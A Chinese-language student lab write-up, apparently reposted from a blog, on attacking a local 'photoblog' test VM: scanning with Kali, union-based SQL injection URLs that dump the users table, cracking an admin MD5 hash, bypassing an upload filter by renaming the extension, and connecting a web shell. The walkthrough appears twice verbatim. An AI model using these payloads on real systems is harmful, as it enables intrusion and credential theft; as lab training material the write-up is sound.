实验五

1.sql注入

首先搭建虚拟机 用kali扫描下当前网段 发现一个192.168.1.130的可疑ip地址

打开该虚拟机提供的网页 使用发现可能存在sql注入点

http://192.168.1.130/cat.php?id=1

http://192.168.1.130/cat.php?id=1' 

 

使用order by语句试出网站后台数据库表的列数 当order by 5 时网页报错 因此该查询涉及到四列元素 

 

使用联合查询 查看网页的显示位

 

 发现2是回显位,发现数据库的名字为photoblog

http://192.168.1.130/cat.php?id=-2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘photoblog’

顺势查到数据库中的表,可见users表对我们有用

http://192.168.1.130/cat.php?id=-2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘users’

继续查询users表中列名,有变量名 id,login,password

 查看users表中的数据:id=1 login=admin password=8efe310f9ab3efeae8d410a8e0166eb2

http://192.168.138.134/cat.php?id=-1 union select 1,group_concat(id,0x23,login,0x23,password),3,4 from  users

 

MD5解密后,得到密码P4ssw0rd

 

登录到管理员页面

尝试上传文件,发现nophp

改完后缀名发现,可以绕过,并上传成功

 

 得到目录,用菜刀连一下

首先搭建虚拟机 用kali扫描下当前网段 发现一个192.168.1.130的可疑ip地址

打开该虚拟机提供的网页 使用发现可能存在sql注入点

http://192.168.1.130/cat.php?id=1

http://192.168.1.130/cat.php?id=1' 

 

使用order by语句试出网站后台数据库表的列数 当order by 5 时网页报错 因此该查询涉及到四列元素 

 

使用联合查询 查看网页的显示位

 

 发现2是回显位,发现数据库的名字为photoblog

http://192.168.1.130/cat.php?id=-2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘photoblog’

顺势查到数据库中的表,可见users表对我们有用

http://192.168.1.130/cat.php?id=-2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘users’

继续查询users表中列名,有变量名 id,login,password

 查看users表中的数据:id=1 login=admin password=8efe310f9ab3efeae8d410a8e0166eb2

http://192.168.138.134/cat.php?id=-1 union select 1,group_concat(id,0x23,login,0x23,password),3,4 from  users

 

MD5解密后,得到密码P4ssw0rd

 

登录到管理员页面

尝试上传文件,发现nophp

改完后缀名发现,可以绕过,并上传成功

 

 得到目录,用菜刀连一下

猜你喜欢

转载自www.cnblogs.com/p201521430045/p/8954402.html